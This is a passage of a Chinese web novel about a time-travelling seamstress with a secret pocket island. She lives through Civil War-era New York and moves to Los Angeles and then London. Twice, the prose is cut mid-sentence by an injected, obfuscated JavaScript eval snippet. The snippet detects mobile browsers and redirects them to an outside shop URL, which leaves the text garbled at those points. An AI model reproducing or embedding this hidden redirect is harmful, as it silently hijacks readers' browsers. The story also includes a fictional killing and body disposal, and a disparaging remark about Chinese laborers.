这个时候就可以看出束身衣的“好处”来了:腰身太小不是裁缝的问题,是客人腰太粗的问题。反正苏茜这里都是她刚好能塞下的腰身,那么想必其他仕女们不能比她粗,是吧。 两个小时过去,返回岛上,倒掉浸泡牛肉的血水——这只装肉专用大碗满是腻腻的牛油,需要用此时可怕的肥皂洗涤——加水、酒、大米和配菜甚至包括廉价的、根本没法直接吃的酸苹果,然后放进木头已经烧得差不多的烤炉里。 洗手后继续做衣服。 等午后一点钟,肚子饿得扛不住了,回岛上吃饭。 牛肉饭称不上多美味,但营养和口感都及格,也就不需要太追求什么口感。热量虽然略高,但考虑到晚上自己只吃一块面包就睡觉,以及练功习武的运动量,全天不会超标长膘。 房间的窗始终是打开一点的,寒风带着一丝丝煤灰味透过那点缝隙吹到室内。四件衣服终于全部裁剪好,拿回比纽约的气温高不少的岛上石屋,按顺序一套套铺放在石床。 煤油灯光线昏暗,蜡烛又贵又麻烦、还有火灾隐患。所以苏茜填了填肚子就睡下。 第二天就是集中剪裁,早饭吃的是昨天买的面包,加一壶奶茶,然后开干。 做到快一点的时候,收拾东西放岛上。说实话,自从上一个租房的地方,被对门那个女的找借口问管理员拿钥匙跑进她的房间“找秘密”之后,她每次出门都会将个人物品、书籍纸张、布料衣服、连毯子枕头都不留! 午饭都是在餐厅吃的。 不看粗陋的装饰,这家意式家庭餐厅有相当美味的肉酱面和冬季难得看见的沙拉——虽说品种很有限且口味不那么好吃,也是生鲜蔬菜了。 吃饭前,苏茜已经饿得手发抖。将面、沙拉甚至沾酱面包片全部吃完才觉得裙腰要撑破了。路过杂货店买了一袋子意大利面,路过还在摆摊的老妇人,买下一袋品相糟糕的西红柿,苏茜志得意满地回到住处—— 两辆奇怪的马车前,店主房东太太正哆嗦着找钱币给等钱到位才灭火的消防员。 她背后的房子在燃烧。 苏茜目瞪口呆。 这年头没有火灾财产险,即使有也不是这样的小店主会考虑的。好在楼里的住户不是在外就是及时跑出来,没有死人。 火灾是从三楼东边的房间点起来的,烧得不慢,将一大块楼板都烧塌了火才灭掉。东边的那栋房子墙壁没烧穿,但二楼到三楼相连处全部变黑了。 苏茜几乎是第一个冲上楼,跑去自己房间。天花板塌了一半,好在缝纫机“健在”。她抓了浸水的床单将缝纫机打包,然后将柜子里的衣物相当部分迅速塞岛上,其他的用掉在地上的大半截窗帘打包。抽屉等里面本来就是空的。 这间屋子里所有的物品也就是两个包裹——早先的行李箱都在岛上,现在不好拿出来。 老板娘房东灰头土脸地坐在台阶上哭,她的家人已经从别的街区赶到,也在看着房子叹气。苏茜是第一个收拾好东西离开的租客。其他租客比她的损失大多了,还没地方住,肯定要扯皮一段时间的,她不高兴掺和就早点走人。 招来出租马车,苏茜去了第一天来纽约时吃过早餐的那家酒店。她是来吃迟到的午餐的,因此下车时什么包裹都没有。马车是厢式,贵些,但更方便苏茜卸掉包裹。车夫心里不是没有疑惑,但什么也没问,看到车厢里空无一物,接了钱就走。 苏茜一身不那么贵也不能说便宜的服饰跟装潢漂亮的酒店略有不搭,但给钱和小费很正常,服务生们自然不会多说什么。 吃完一顿价格明显高于实际内容的午餐,苏茜走出酒店。 先回岛上住段时间,也是另一种省钱途径。 新的住处是一家破产工厂主人的原住宅。原主一家可能去了乡下或是南美或者其他地方。 苏茜这一间是四楼阁楼,面积略大,看得出来之前是杂物间,简单扫掉灰尘垃圾后就出租,需要自己去买或租二手家具,没有壁炉但可以自己弄个小炉子。阁楼外是共用露台可以晾晒,楼下的人走楼梯上来可以直通露台。她的房间在楼梯另一侧,总体算是比较清静的。唯一不利的是共用厕所与提水洗涤都在屋后,需要下一楼再去屋后。 房东一大家子住二楼,有独立盥洗室,但考虑到近十口人的规模,除了不用爬楼梯、后院厕所因为如厕、洗东西、打水都是分开的反而还好些——二楼的盥洗室同样有异味,很可能马桶下水管道是最古老的直立型而非卫生一点点的弯曲型。 苏茜当然不会去用共用的那些设施,最多做样子提一木桶的水上楼。其他租客家的妇人们没一个露出诧异的表情:哪个中产偏下阶层的女子没有力气!更不要说不少人是平民奋斗到能在不错的地段租一间房间的,娇气不起来。手无缚鸡之力是有钱人家小姐的做派,她们可不行。 石屋里除了在没有发电机的情况下采光略差,其他什么都是好的。尤其是温度湿度。漫长冬季里的阁楼,因为窗户都是单层且封闭性不佳,木门也是底下一条挺大的缝,因此在煤炉一米之外的地方都不暖和:要是暖和,房租就不会那么便宜。 苏茜棉衣棉斗篷棉裙长毛袜和棉靴,站着剪裁心目中的大衣。她现在已经能处理通用版型的呢料大衣了。就是厚实的衣料让精准的裁剪和缝纫都略有些难度,这类没有皮草装饰、没有奇异染色的厚衣服同样是开衫需要另外配大衣扣才能更加保暖,但比短斗篷好一点,纯属平民款,但又超过穷人的消费能力,是中产底层专属。由于料子也就比处理品略好些,清洁熨烫平整后依旧显得廉价,好在六块钱的“白菜价”让这款衣服的销路还不错,新年前居然卖了上百件。 “你这衣服我自己也穿。”成衣店主太太是平时的实际经营人、销售主力军,她在就能卖得好,她家前年娶进门的小儿媳怎么努力推销都比不上,干脆回家生孩子带孩子去了——也不知道小家庭三口住一间房间还打算再生几个是怎么想的,可能是借机问老父母多要分家费出去买房? “所以我送来了。”三件大衣,两条棉裙,一件衬衣。这是三四天的量,苏茜其实是一口气整整三天做十件以上相同衣服的工作节奏,但送货的频率不是这样。 “幸好我眼光好,当时在阁楼加了织袜子机自家做,自己做真的能多赚。”店主太太也不怕苏茜知道“商业机密”,因为对方是踩缝纫机的,可能到现在刚刚把缝纫机的支出赚回来——支付房租和生活费之后。 “确实,机织的质量还更好一点。”她就是用成本价买的原色无花纹无装饰长袜,一块五条,比棚户摊位上买的手工装饰款便宜且耐穿。 “本来我们这条街尾,那些经理太太们都不大来我的店里买东西,现在好几个都不去裁缝铺,改来我的成衣店了。”性价比啊性价比。 “最近经济不好。”过剩的危机。嗯,还是铁路概念过热、工业品尤其是英国产品进口过多冲击本土产业引起的。而这种危机很快又成为回旋镖扎回英国去,拖了所有工业国家下水。 “是呀,其中一家还是开织布工厂的,结果布都卖不出去。” “哦,降价卖吗?”苏茜眼睛一亮。 “我去问过,不肯降,宁愿想法子销到亚洲。” “亚洲?哈哈哈……”笑死了,跟华国比布料?不管是棉布还是丝绸,都是被虐的份:有钱的都穿丝绸,没钱的自己织布,谁会买质量不错价格虚高的美国棉布。 “可不是,”店主太太撇嘴,“听说根本卖不出去。” “有便宜料子反正你帮我留意,数量你也知道,五百码以内都可以。” “有瑕疵的,还有虫蛀的、沾到洗不掉颜色的呢?” “当然是比抹布的价格高一点点的那种价。” 两个年纪差了近二十岁的女人相视而笑。苏茜觉得如果这位合作极为愉快的太太过世了或者退休了,她也不做了。 …… 绸裙外头穿平民大衣。这种搭配好奇怪……苏茜看了眼刚出门的妇人的背影,对了,二月春寒料峭的天气里穿绸面鞋,有毛病? “刚才那位太太,丈夫之前是一家银行的高级经理,现在靠出租自家房子过活,她还被迫收养丈夫的私生子。”店员萨拉小姐小声跟苏茜解说。她的销售业绩仅次于店主太太,本人也住在附近,因此店铺营业的时候两位销售高手至少得有一人坐镇。 “哦!”实体经济出了问题,反过来让很多小银行关门。对了,她存在摩根银行的一笔钱利息还增加了一点点,于是她打算晚两年再取出来贵金属货币。买房是不考虑的,这样的环境下很难说以后会不会被恶意骚扰甚至强行收购——自己来得太早、当时也太年少,没法编个寡妇身份。要不过些年去什么时候找机会去伦敦买个身份,再去阳光普照的洛杉矶。旧金山不考虑,她不想年纪大了的时候还要碰上大地震和见鬼的爆.破.消.防。 但现在洛杉矶是个城市吗? 似乎几年前加州就加入联邦了,就是交通是个大问题,因为她非常确定那边现在没有铁路,而且现在的铁路工人都是爱尔兰籍,等以后有了大量华籍劳工大概才有太平洋铁路? 苏茜到死都不想看到拖着辫子的华工和裹着小脚的女眷,尽管她现在是爱尔兰籍,一米七左右的个子,还是苏格兰跟英格兰血统,棕色头发蓝色眼睛,脸上除了稍微有些晒斑,深目薄唇,遗传自父系的鼻子有些鹰勾——连她自己都看着不怎么顺眼。 纽约今年的夏季白天特别热,夜间还算凉快。苏茜无所谓,她的岛上白天也不热,夜间更凉快,所以白天她也在岛上工作。因此她都是早晨去买菜和面包,进住处大门后就回岛,这样外人以为她回去了,楼下邻居们以为她在外做工。 然后凌晨偶然回房间看看的时候,苏茜面对的是破开的窗户和凌乱的房间,甚至还有一坨……人类排泄物。 “……很显然是你的房客干的事,你自己去找人。我的房租还有不到一个月……就此别过,再也不要见到。”她回身就给了看热闹大声嘲笑还讲荤话的一名楼下男租客一记力量非常大的耳光,直接将他扇倒在地。“还有谁给我当活人拳击靶子?来啊!” 其他看热闹不嫌事大的男女全部怂了。 苏茜一个个盯住他们的脸,“别让我,知道,是谁,不然我让他,拉不出来,永远地拉不出来。” 没人说话,包括房东。 苏茜扔了几个钥匙给房东,下楼,出门,消失在街道人群中。 * * * 棉制品全线涨价。这是非常不祥的信号。 苏茜一拍脑袋。平静的日子过得太顺,都忘记内.战这档事了。她今年租的房间同样是半年付, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236306|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨价还价后不到70,几乎是来北美后最便宜的一间。 “如果你不是半年付,我不会把这么好的房间留给你的。”房东先生嘀嘀咕咕。 行吧,看在便宜的份上。苏茜爽快地签约,付钱。 房间在一楼,底下是半地下室。有个小冲水马桶和一个取暖烧水烤土豆的小炉子,窗户上可以晾挂洗了的衣服,水龙头就在一楼走廊底,侧门也在那。没有共用厨房浴室什么的。苏茜看中那个侧门,方便“进货”,就要了那扇门的钥匙。房东一家住隔壁公寓的三楼,隔壁一楼是他开的面包店,二楼是仓库什么的,工作间在楼后面,有机器嗡嗡响。 噪音什么的,对苏茜没有影响。她不会去睡这间朝北小房间里出租的铁架子单人床——她需要额外付几块钱租金给二手家具商店——更不会将衣服晾在窗户内侧。 这里地段不佳,但距离几家批发仓库近,分几次扛回来棉片棉布料子之类的方便些。 路过一个街口,其实再过去就是有很多移民的贫民公寓。苏茜发现附近居然还有一家“死亡之屋”,即医院,大家只有在可能死的时候才去。 苏茜看过当时情形的描述,医学院的学生解剖尸.体后不消毒手就去给产妇接生,哪怕是有了显微镜,男医生们仍然坚称绅士的手都是干净的,谁洗手还会被排挤。所以大部分的手术都会感染,而十个去医院的产妇里得有一个死于医生肮脏的手。好像有一位受木仓伤的总.统,就是因为医生用脏手在伤口里找子.弹而感染,挣扎好几天才悲惨死去。 可怜的士兵们,直接在战场上阵亡的其实没那么多,大部分都是死于伤口感染和疾病。哦,士兵大多是移民,甚至有的还是饿着肚子的爱尔兰饥民…… 她闭了闭眼睛,提着袋子加快脚步进屋,回岛。 这次买的可不止是棉片,还有至少能喝两年的茶叶。她每次带的东西都不多,有时还会借个推车,从不叫马车送货或坐马车带着货包回来,到底是将能用两年生活物资和能做四年生意的棉制品搬回来。她希望的是绿美钞,可不想享受战争时期专用于通货膨胀的“绿背纸币”。 那位著名的、口头上不是废奴主义者的总.统当选。 苏茜没有投票权,也不关心现在的古老选举形式。她这间房间唯一的用处在于剪裁和缝纫,单人床就是铺开的布料用,两张桌子拼在一起作为裁剪桌,缝纫机放在边上。夏季临窗,冬季靠门。房间面积其实不小,就是地面墙面很差,家具寥寥,地面还有之前放两排铁架上下床时的痕迹,可见“高峰期”这里能住八个人,所以盥洗小空间的陶瓷件能破旧成这样。好在目前没有感人的厕所味道——可能跟她最多只是倾倒水而不去用有关,她只去自己岛上,虽然那里硬件条件几乎为零还冬冷夏热的,但在没有工业生产的卫生纸和湿厕纸的时候,清洁方便是第一要务…… 南卡州,又是南卡州。从反对殖民者,到拒绝高额关税,到搞自己的军.火厂和招募志愿兵。南边各州宣布独立。有趣的是他们是用州权力的名义,直接的后果是各州之间不协调,联盟征兵方案被抵制,最后败在自己的手上。这事苏茜是学过的、还不止一次,甚至写过一篇课程小论文被老师评为优秀。可这里人不知道啊! 北方一开始在战场上是惨败的。 整个城市笼罩在“如果被攻进来怎么办”的疑虑中。不可思议的是小混混们居然更加猖獗了! 苏茜一记链条锁。 闯空门的男子用手去格挡,被打得骨头生疼。正要暴怒还击时,被一根正儿八经的峨眉刺给割开喉管。 在他咽气后的三秒内,苏茜就将尸.体拖到岛上走廊外的泥地,回房间等待有没有同伙出现,同时清洁地面血迹——没有其他人。 再去岛上搜出那人所有的财物,拖过山头扔到海里。 下次开门前要准备长剑,或者干脆子.弹上膛拉保险,然后将缝纫机横放地面装作声音来源好了。这平均两年干掉一个混混或罪犯的节奏让人简直想换个国度生存。尤其是战利品里钱币并不多,倒有几件别致的高级首饰,可惜压根不能卖掉,只能放在收藏品堆里。 早知道就不来这个年代的北美了。 可其他地方似乎并没有好到哪里去,伦敦的治安跟纽约是难兄难弟,而且工业化造成的污染在不大的英格兰无处不在。德意志?那么多人移民来北美就很说明问题了。法兰西?平均每隔二十年就要折腾的巴黎,而且过几年又是普法战争。可北美的其他地方,生活供应以及她的工作收入都是问题。 “苏茜,亲爱的,我们的生意简直是越来越好了。很多看不上我们店里衣服的太太小姐们现在也来买了。”应该说她们都滑落阶级了。 “那真是太好了!”棉裙虽然很奇怪不体面,但当衬裙穿保暖且省煤,出门再加一条罩裙,在舍不得叫出租马车的寒冬谁也看不出来。“现在大家还要求用纸币付账吗?” “是的!所以,这一批货?” “当然是提价。”新货提价就是她们的应对方法,理由也是现成的:用纸币的原材料涨价了! “好!” 拿到纸币的苏茜就去买煤和木头,以及路边小贩卖的蔬菜和水果,还有店铺里积压的商品,比如陈米和其他亚洲进口的滞销货,包括前几年的丝绸。现在是倒春寒,很快就可以推销“白菜价”绣花真丝枕巾了不是吗?而绣花,苏茜只会寥寥几种手法,但应付纸币一元一对的绣花枕巾还是可以的。一元银币可以买吃饱三天的面包,但同等面额纸币买的面包只能吃饱两天,可见通货膨胀有多严重。有些地方不仅收入大减,还要征兵抽签,都接近起.义的边缘了。 不,城市里起.义了。 凄惨的移民拒绝用征兵志愿书代替居留权。 小混混们乘机□□。 苏茜则是待在成衣店。店门关了,老板娘的丈夫、公婆和孩子们拼命将衣服转移走。而两个年纪不同的女人一人一支□□守在店内。木仓是老板娘提供的。 可能这家店市口一般,整整一天一夜都没有人来打劫。第二天,士兵入城维持秩序,苏茜才离开。回到住处,这边也没事,不过楼上的一个邻居小子在城里趁火打劫时被士兵打死了。对了,这栋楼总共少了俩合租客,只是之前一个没有尸.体、没有证人,大家都认为是死在外头了,租房人早就找到新的合租客,还跟室友们一起瓜分了那人的一点点财产——主要是衣服被褥和一双皮鞋。 可没多久,这个房间中的一位“受益者”就抽到签去当兵了。同一批的还有房东家的大儿子。 65.沉默的土豆(四) 这栋楼、这个街区、这个城市,沉寂了好一阵子。上万、也许有几万的普通人突然就成了士兵、上了战场,没多久周围邻居可能听到他们中某一位或几位的死讯。 宅地法案通过后,一部分家庭立刻在咨询、买地后走了,一部分家庭在观望,还有少数家庭有人先过去看情况。个别家庭或家庭联合直接过去,打算在当地看地、买地。另外,新的贫困移民也有受了雇佣去当雇农。 贫民窟里的人可没有财力物力自行迁移走人。 成衣店主家和他们的店是少数在战争期间越过越好的。她家男丁少且运气不错,没有一个抽中去战场,还因为之前投资的一家工厂为武.器商供货而发了小财,买下同一条街的另一栋小一些的房子。 苏茜没买房,这几年她住的地方越来越贵——如果付金币则是越来越便宜,原材料的价格也跟成衣价格一样越来越贵。她依旧是每个季度在绣花、装饰图案上翻一点小花样,然后借机涨价。加上会提前囤积原料和物资,在通货膨胀之下她赚的反而比战前多。 就是租房挺糟心。 旧的房东将房子卖了,离开去西部。 苏茜不得不继续不到两年换一次住处的节奏。 “这间房间之前是我住的,后来腿脚爬楼梯不方便,跟我孙女一起住到一楼去了。”房东太太的人生大概被诅咒了,独生子儿子阵亡、女婿死于传染病、儿媳扔下孙女离开后,人一下子就像老了十岁、背也驼了,精气神垮掉了。要不是她守寡的女儿带着两个外孙过来同住,估计老太太会直接驾鹤西去。“就是冬天洗浴要把炉子提进来,不然会着凉。” “好的,我付半年,多少钱?”这间屋子大概是苏茜来纽约后最好的一间,三楼最靠边上的一间,盥洗室有不臭的马桶、不小的浴缸、对外的窗户和有水龙头的洗脸池,房间分为卧室和起居两个部分,甚至还铺了一块地毯。唯一不好的是没有壁炉,窗口有阳光照进来,以及晾衣晒被的木架子。 半年四百五十块绿背币含一顿煎蛋面包咖啡早餐,不含炉子用的煤——现在已经是春天了。 苏茜当场付钱。但房东太太让她下个月再付,因为她家无力找律师去拟合同,按周付房租。苏茜微笑着当场拿了两张白纸,照着之前曾经签过的合同,手写一式两份,还“好心”地让房东太太拿房子文件上的几点“正式描述”作为条款。 这位太太确实是屋主的遗孀,所以大家都放心,是吧。 是个鬼! 难得住了半年舒心房子,石屋都开始生灰后,苏茜正要续约、还是主动涨房租的稀罕货,却被房东太太拒绝了。 “听说附近好几栋房子都要被买下建大房子。前几天也有个律师来跟我谈土地价格。”由于对方开的价真的不算低,足足十三万五千,足够三个孩子上私人学校,以及母女俩的养老钱。另外还绝了女儿继承时交的税,所以房东太太最终决定卖掉房子。事实上,她不卖都不行,因为对方已经提了一次价,显然再拒绝就可能动用黑涩会手段了。所以苏茜已经是最后第二户租户,另一户下周搬走。 “……好的。你们打算搬去哪?”哪怕战争打完了,经济一直没有恢复,外债高筑,通货膨胀依旧存在。 “我们打算坐火车去西部,洛杉矶吧,是这个名字,听说那里房价低,私人学校的学费也低。”招生广告都做到纽约了。 “这是好主意呢!”连她都差点心动了。可惜,她暂时不想放弃成衣店的收益。要是到了新的地方,也不知道要如何解决生计问题。 难道去碰运气淘金?卖水给缺水地区的矿区?似乎还不如种菜实际些。 可去找成衣店主太太的时候,对方居然也想找她。 “我丈夫不放弃当地主的念头……工厂的股份也在比较高的时候卖掉了——幸好卖掉了,不然现在又不值钱了……可两个儿子矛盾不浅,我这家店到底给谁都是问题……大儿子一家跟我们去西边,但不是西海岸,西部听说都是沙漠,缺水……” “我正好也想过来跟你说,我打算去洛杉矶。那里气候温暖,冬天并不冷,夏天夜里凉快……”苏茜自觉是个通情达理的失业者,自己真是越发会说话了。 很多人来到纽约,很多人离开纽约。 苏茜穿了一身自制的深色衣服,拎着不算太重的行李箱,踏上还挺新的火车车厢的,二等座位。 现在可没有一张纽约直达洛杉矶的卧铺票,需要一段段过去。至于卧铺……算了,还是坐票,早上出发,下午或第二天到下一个城镇。苏茜就这样根据脑子里的地图一站站地坐过去,有时在陌生的“古老”小城里找到些当地的土特产,有时直接餐馆里吃顿饭就回岛上休息。 总之,她一路上花了快一个月才到洛杉矶。 这样也比赶着马车风餐露宿、与盗匪斗争三个月来得强。要知道,大萧条后的自然灾害中被迫迁徙的农民一路上死亡多少,而这都是好几十年后的事情。 可惜没碰上火车劫匪。苏茜有些“遗憾”,自己明明准备好两柄热武.器,结果一颗子.弹没用上。皮革手袋里放了一堆跟自己今天的打扮“搭配”的小巧冷.武.器,苏茜饶有兴致地来逛逛一百多年前的这座白天是天使、夜间却没那么美好的城市。 现在还不是后来那个繁华都市的样子,可西岸第一大城市的样子已经出来了。虽说车站甚至还不如路上小城市的车站高大,但在街的这头看不到街尾,这一点就强过路上的那些市区。 搭上有轨马车——现在还没电灯,更不要提有轨电车——往西,往海边。 路边建筑大部分没有超过五层的,更不存在地标性建筑,甚至很多还是一层半木屋。苏茜眨眨眼,她是不是也可以买一小块地造个小木屋什么的? 车子在接近码头的地方停下。 这码头……目前远不如纽约的。似乎远东来的海船不是从这边登岸的。苏茜逛了一圈,拒绝被浑浊的气味荼毒,往回走。按照自己记忆里的大概方位转弯,经过一段荒野——没有草木、没有建筑、没有人烟——再过去是一段海岸。 当然,还是完全陌生。但隐隐是个镇子的样子。 回岛上休息一晚,第二天继续走,果然被她走到一个刚开发的小镇。名字依旧陌生,或者说可能是因为后来这边不出名,甚至只是个社区。这边已经建了一批小房子。 房子都是不大的二层,水泥房子,外面装饰看上去也不贵,可能是接近度假小屋的存在。苏茜问了一圈,销售居然是在市区,不得不往回走。 二十几公里分两天走,在初冬季节还是可以接受的。另外她也需要了解这个非常陌生的“城市”。 这段路走完她就不想买海边的房子了,因为完全没有商业和配套。 到了市区,就仿佛突然之间,周围热闹起来。高低各不相同的房子,比较宽的街道两侧一楼全部是店面,楼上有工作间或住家租户,两侧的窄巷则很有时代特色的晾着各类纺织品。苏茜就花了十个美分,就让出租马车送她到宅地管理办公室,地产税务局隔壁。就苏茜的印象里都没有这两个机构,因此可能就是时代和地区特色。 确实是时代地区特色。 这边草草选块小地皮办完手续付完钱,那边登记领文件交税一条龙。 地接近白送,但后续才是持续花费。 除了先交土地税,房子要设计建造吧,建筑垃圾要清理吧,自来水要入户吧,煤气灯要安装吧。哦,不要火灾险盗窃险,银行贷款需要吗?职业介绍需要吗?专业仆人需要吗?马车租赁需要吗? “现在绿背币还是不能兑换金币是吧?”她突然问银行办事员。 “……是的,女士。”很遗憾。“不过物件上涨的势头已经遏制住了。有很多人要求回归金属货币时代,很可能会回归‘正常’。”还有要求取消银行这种坏东西的,这个就不要提了。 “好的,谢谢。我会考虑的。”真有需要的话,编个家庭账户就行。她想着岛上的缝纫机和织袜子机,以及靠近山脚的地皮,打算做地摊货批发,毕竟她的价格并不比工厂高,数量还可以灵活处理。另外,之前一直租房还不交所得税——似乎个税这事还没开始,因为原来成衣店的店主就因为只做平民成衣女装而不交包括消费税在内的各种税。因为不想研究税法,苏茜直接把目标客户群体定为棚户商贩、地摊摊主和马车小贩,当然更不会去用昂贵的进口原料。她的小地块就在“城乡结合部”,可能最适合的是马车小贩。 唯一的麻烦是原材料。本地主要产小麦不怎么产棉,附近也缺少棉花,棉纺厂数量不足、面料种类和品质比纽约那边差且贵! 所以苏茜买了地,都没来得及找工程队,不得不先回东部“进料”。 “到洛城。” 普通车票一路坐到纽约,租了间小仓库半个月,一天采购,一天收货打包转移,第三天继续重复这两件事。苏茜不仅将这几年的盈余大部分都花掉,还把刚来北美时兑换的那些金币都用掉。最后只有一个小箱子、一个大皮革手袋,登上回西岸的火车。 来回足足两个月,下车时觉得有些脚步发飘。这年头的女士除非是独立高级车厢或是跟一大家子一起走,不然真没有独自一人买一张火车普通卧铺票的。加上高级卧铺得买上下两张,比白天坐票晚上住岛上贵上百倍。除了费时和车厢里气味复杂,没什么不好的。 出了不大的车站,苏茜没叫出租马车,而是摸出来自己画的几份图纸,直奔之前看好的建筑公司。 房子构造简单,只有两间砖墙小屋,唯一有些设计的就是可烤可煮的炉子。前院空地种菜、后院空地晾晒,四面篱笆环绕。现在还没有晾衣罚款、禁止种菜的见鬼社区条款。 施工队伍从平整土地到装玻璃总共只花四个月就建好了。房子里的家具则都是二手货,店主的马拉拖车一天运了三次才运完,在如此通货膨胀下也就花了六十几块绿背币,于是从东部城区到山上都知道这位“寡妇”没什么钱,并且不做皮肉生意也不卖菜,是靠织袜缝纫过活。 * * * “苏茜,亲爱的,这款袜子还有吗?” “有的!” “哦对了,你穿的这条棉花裙子,也卖我一条。冬天站着不动还是有些冷的。”尤其是对要守着摊子到晚上的女子而言。午后阳光下还好,可她的摊位一直是背光的,夏季是不错,冬天的话靠一双毛袜站半晚上根本不行。 “行,连外面的罩裙,只要成本价九块八。” “……好!”如果不含外裙也太贵了。 “棉布和棉片的价格一点没有降下来。我也就收些针线费,和缝纫机的投资。”她大批量采购积压货、去年前年的货,但按小贩的批发价计算“成本”,所以这套棉裙的利润接近一块绿背币,仍然属于薄利多销。但考虑到省下的运输仓储成本和超低利润,她的报价吊打所有本地批发商。 两个月的建造时间里,苏茜拿着“样品”每天跑摊位小贩,小量批发已经做起来了。现在外间屋子直接成了成品间兼厨房。每件写上数量和价格,每周日和周一不开门,周二上新,不接受还价。小零售商们自己过来挑选,量大优惠。 她真正的工作间还是在岛上。不过如果要夜间赶工,则是在有明亮煤气灯的里间屋子里。周二到周六的白天她不是在做生意就是在料理菜地或洗衣服、做饭。 “其实大家都上你这里来,是因为你这里接受纸币,而且你的东西好。”一名小贩看没有别人,就“泄露秘密”道。 “东岸那边接受纸币。就是价格一直涨。”苏茜也回了个“商业秘密”,“我都是找人买东岸去年的面料,不然不是这个价。” “运费也不得了!” “是啊!我虽然赚不了多少,但已经把买土地和建材的钱做出来了。接下来就是造房子的工钱。家具倒是不很值钱,面粉又便宜,菜自己种、衣服都是卖不掉的自己穿,就是平时买肉和用水点煤气灯花钱,哦,还有烤炉的木头。”炉门打开,是一盆鸡肉蔬菜汤和一个发酵面包。 小贩赞了下她的手艺,然后告辞离开。这样听起来很好的商业路子却赚不了几个钱,过得如此“拮据”,让他想自己做的心思灭了大半。除非自己做高端货,不然也就赚这么点,还不如跟亲友们一起好好做纺织工厂,甚至种棉花都比越来越便宜的小麦值得。 小麦价格走低,面粉可没有明显降价,面粉做的食品、比如面包零售价因为其他原料在涨价而继续涨价。但今年以来,杂货店涨价的势头止住了,所以苏茜这边的成衣也一直没有涨,甚至还买衣服送袜子、实际上降价了。 生意越发好了,好像城里和周边的小贩都来她这里进货,她的工作量开始增加,利润自然也在增加,甚至还收到了本州自己铸的金币,比“正版”金币略重1%的好货。 “这个我希望能够抵130块绿背币。” “前几天的黄金卖出价折算出来是121.5,城里的银行差不多都是这个价。我可以算你123。”苏茜指了指挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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同样是两张船票,蒸汽铁船的二等舱还是那个价格,但时间比来的时候短了点,其实意味着价格提高了。三等舱的价格甚至略降,但一等舱的价格提高了些,估计面积更大。金本位下物价大致稳定,何况现在没有□□,没有欧洲大战争。如果不是她可能会活到大战前后,她都考虑去普罗旺斯定居。 岛上准备好救生用小船——她真的被泰坦尼克的故事整怕了——每天餐厅里吃两餐,这条船的二等舱餐厅不外带。 苏茜将房子前院不少蔬菜连土壤直接移到岛上,加上耐放的苹果等水果蔬菜,所以在船上能维持不错的维生素纤维素摄入。 下船的时候,也是少数精神很好的女乘客。 伦敦的气候一直那样,除了空气质量以及冬季更冷,其实跟岛上区别不是特别大,所以苏茜还是颇能适应的。 只除了房价和依旧伪劣横行的食品。 “这套的原主人搬去靠近骑士桥街区的大房子,这栋房子或租或卖。”中介步上台阶,打开大门。客人要求在治安不错的地方买小房子养老,不要求低价,所以他第一个念头就是这栋二层带阁楼、地下室的房子。“这房子才建了十二年,自来水和下水道、煤气灯齐全,厨房是新式的炉子。” 这栋房子不是联排,但处于巷子转角,其实是某个老建筑的角落部分,分开重建后这个角落就成了夹在好一个大宅和一个联排中间,地块本来就不大且不规整,加上建造时主人家没多少钱,导致楼层低房间少。 大门不在正中,门厅前宽后窄。一楼的餐厅和二楼客厅都是转角,有颇大的“观景”窗,装着纱窗帘,可惜外头没什么可以赏的景。一楼的厨房与门厅一样形状,但可以洗床单的洗涤池是个加分项。厨房楼上是盥洗室,算是比较大的。二楼主卧和阁楼次卧表示这家的住家佣人只能住半地下室,而且孩子少。阁楼两边是小小扇形露台加了栏杆,毫无疑问是晾晒用的,但得从窗户里爬出去,因此只有一侧的窗台是用于进出的,另一侧的窗台就只是窗台,窗外的小露台甚至还有垃圾杂物。 租金不到一百镑,房价三千。这个地段确实不贵。苏茜决定买下,然后第一次大战前卖掉,或者有人要溢价买的时候出手。反正扣掉各种税,房租依旧是赚了。 全部办完过户付完钱花了俩月,倒是入住只要两天,因为家具都是现成的,只要雇清洁洗衣女工拆洗窗帘打扫卫生就行,一开始一周每天来工作一个下午五个小时包括一顿下午茶,之后每周二、四来两个下午,虽然清洁洗涤工作不轻松,但每次8便士不算高也不很低,而且主人家给的点心和茶是主人家自己做、自己吃的安全食品,用料十足的牛肉馅饼或黄油面包以及甜美的奶茶,一顿吃饱,零售价起码3个便士。 苏茜在到了伦敦后第一件事就是找无毒无害食品和用品,一直找到入住后才凑齐日常用的。现在大家对卫生和食品安全是“有史以来”最重视的时候,反过来也是掺假食品最后的辉煌。 “三磅米,对,亚洲米。”允许谷物进口后,食材丰盛了些,只是这里的食物总体仍然属于暗黑料理。因此苏茜依旧只能自己做能入口的,并且时不时换口味。比如明天她就打算弄青菜红烧鸡肉盖浇饭这种——菜式没法复杂,因为材料不足——热量不愁太多,因为她每天锻炼修炼,消耗不小。唯一让人遗憾的就是这边的猪肉没有煽过,根本无法入口,其他的倒还好,因为北美这个时代的进口关税、广袤土地和不发达的物流让人无话可说,导致市场上基本只有本地产的或进口高级货。只要别买到染色的叶菜、含毒的食材,伦敦的供应总体是不错的,至少比小城镇上的好。 接着,有一天,苏茜似乎听到一个什么有些熟悉的名字,买下冬天仍然露着膝盖的报童小朋友手里的报纸。 系列凶杀案,就是位置距离她这边比较远。已经是第二具极为可怖的尸.体,两个都是女支女。这个案子一百多年后依旧是著名悬案。 很可惜,苏茜想,她也抓不住。因为没有福尔摩斯这位咨询侦探,而史上靠谱的几位凶案警探可能还没入职。 